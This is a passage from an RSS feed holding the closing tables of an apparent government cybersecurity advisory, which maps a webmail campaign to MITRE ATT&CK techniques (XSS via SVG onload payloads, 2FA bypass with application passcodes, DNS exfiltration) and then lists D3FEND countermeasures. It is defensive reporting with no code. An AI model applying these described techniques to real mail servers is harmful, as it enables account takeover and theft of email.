<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Phishing </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank"><u>T1566</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The actors used spear phishing to lure users into opening malicious email. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 12: Execution </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exploitation for Client Execution </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank"><u>T1203</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>An XSS vulnerability was leveraged to execute the JavaScript payload. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 13: Persistence </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Manipulation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank"><u>T1098</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Enabling IMAP and Application Passcodes provides persistent access to the compromised account. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 14: Privilege Escalation </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.  </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 15: Stealth </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Command Obfuscation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank"><u>T1027.010</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Encrypted/Encoded File </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank"><u>T1027.013</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: SVG Smuggling </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank"><u>T1027.017</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload was contained in an “onload” attribute within an SVG image included in the malicious email. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Use Alternate Authentication Material: Web Session Cookie </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank"><u>T1550.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 16: Credential Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Adversary-in-the-Middle </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank"><u>T1557</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 17: Collection </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Data Staged: Remote Data Staging </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank"><u>T1074.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank"><u>T1114</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group has emphasized collection of emails. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection: Remote Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank"><u>T1114.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Automated Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1119/" target="_blank"><u>T1119</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Upon execution, the JavaScript payload automatically collects all relevant information in stages. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Browser Session Hijacking </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank"><u>T1185</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Archive Collected Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank"><u>T1560</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are exfiltrated with GZIP compression. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 18: Discovery </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Discovery </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank"><u>T1087</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stolen Global Access Lists provide the group with new users to target. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 19: Exfiltration </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank"><u>T1048</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Victim information was exfiltrated over both HTTPS and DNS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank"><u>T1048.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank"><u>T1048.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<h2><strong>Appendix B: MITRE D3FEND countermeasures </strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table20"><strong>Table 20</strong></a> for a mapping of several of the cybersecurity countermeasures mentioned in this advisory. <a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<div class="TableContainer Ltr SCXW46665017 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 20: MITRE D3FEND Countermeasures </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Countermeasure Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Description</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Application Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank"><u>D3-AH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should immediately prioritize patching <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank"><u>CVE-2025-66376</u></a>.  </li>
<li>Organizations should promptly apply software updates to all email systems. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Isolate </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank"><u>d3f:Isolate</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations that cannot feasibly patch should use alternative mail clients. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Credential Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank"><u>D3-CH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank"><u>D3-NTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>DNS Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank"><u>D3-DNSTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Community Deviation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation" target="_blank"><u>D3-NTCD</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. </li>
<li>Organizations should monitor for connections to internal services, such as webmail, from VPN providers. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Identifier Activity Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank"><u>D3-IAA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should search for the listed known IOCs. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Process Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank"><u>D3-PA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should search ZCS log files for specific commands used by the malicious script. </li>
<li>Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>Message Analysis</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis">D3-MA</a></td>
<td>Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.</td>
</tr>
</tbody>
</table>
</div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI success requires a full-stack CIO]]></title>
<description><![CDATA[Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?



It’s an understandable concern. Boards and CEOs are asking about AI. Business leaders are experimenting with use cases. Employees are discovering tool...]]></description>
<link>https://tsecurity.de/de/3694399/it-security-nachrichten/ai-success-requires-a-full-stack-cio/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694399/it-security-nachrichten/ai-success-requires-a-full-stack-cio/</guid>
<pubDate>Sat, 25 Jul 2026 18:57:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
